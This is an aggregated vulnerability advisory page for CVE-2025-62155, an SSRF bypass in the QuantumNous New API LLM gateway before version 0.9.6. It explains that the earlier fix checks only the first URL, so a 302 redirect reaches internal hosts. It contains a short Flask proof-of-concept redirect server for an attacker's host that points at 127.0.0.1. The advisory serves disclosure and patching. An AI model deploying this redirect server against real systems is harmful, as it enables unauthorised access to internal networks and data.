CVE-2025-62155
JSON

8.5high

QuantumNous New API Has SSRF Bypass

Severity
8.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.30% (higher than 24% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-9f46-w24h-69w4GO-2025-4154

Description

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.9.6, a recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur. Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet. This issue has been patched in version 0.9.6.

Affected

Product or packageVersionsReported by
QuantumNous new-api< 0.9.6CVE List
github.com/QuantumNous/new-api (Go)before 0.9.6, all versionsGitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
GitHub8.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Classification

CWE-918

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.9.6, a recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur. Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet. This issue has been patched in version 0.9.6.

GitHub Advisory Database
Summary

A recently patched SSRF vulnerability contains a bypass method that can bypass the existing security fix and still allow SSRF to occur. Because the existing fix only applies security restrictions to the first URL request, a 302 redirect can bypass existing security measures and successfully access the intranet.

Details

Use the following script to deploy on the attacker's server. Since ports 80, 443, and 8080 are default ports within the security range set by the administrator and will not be blocked, the service is deployed on port 8080.

from flask import Flask, redirect  
  
app = Flask(__name__)  
  
@app.route('/redirect')  
def ssrf_redirect():  
    return redirect('http://127.0.0.1:8003/uid.txt', code=302)  
  
if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=8080)

Then, a request is made to the malicious service opened by the attacker, and it can be found that the resources on the intranet are successfully accessed. image At the same time, the locally opened service 127.0.0.1:8083/uid.txt also received related requests. image

Impact

Using 302 redirects to bypass previous SSRF security fixes

Go Vulnerability Database

new-api is vulnerable to SSRF Bypass in one-api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/QuantumNous/new-api before v0.9.6.

NVD (es)

La nueva API es una pasarela de modelos de lenguaje grandes (LLM) y un sistema de gestión de activos de inteligencia artificial (IA). Versiones anteriores a la 0.9.6, una vulnerabilidad SSRF recientemente parcheada contiene un método de bypass que puede eludir la corrección de seguridad existente y aún así permitir que ocurra SSRF. Debido a que la corrección existente solo aplica restricciones de seguridad a la primera solicitud de URL, una redirección 302 puede eludir las medidas de seguridad existentes y acceder con éxito a la intranet. Este problema ha sido parcheado en la versión 0.9.6.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-62155 changed 2025-11-25CVE Terms of Use
GitHub Advisory DatabaseGHSA-9f46-w24h-69w4 changed 2025-12-17CC-BY-4.0
Go Vulnerability DatabaseGO-2025-4154 changed 2025-12-15CC-BY-4.0
NVDCVE-2025-62155 changed 2026-10-18Public domain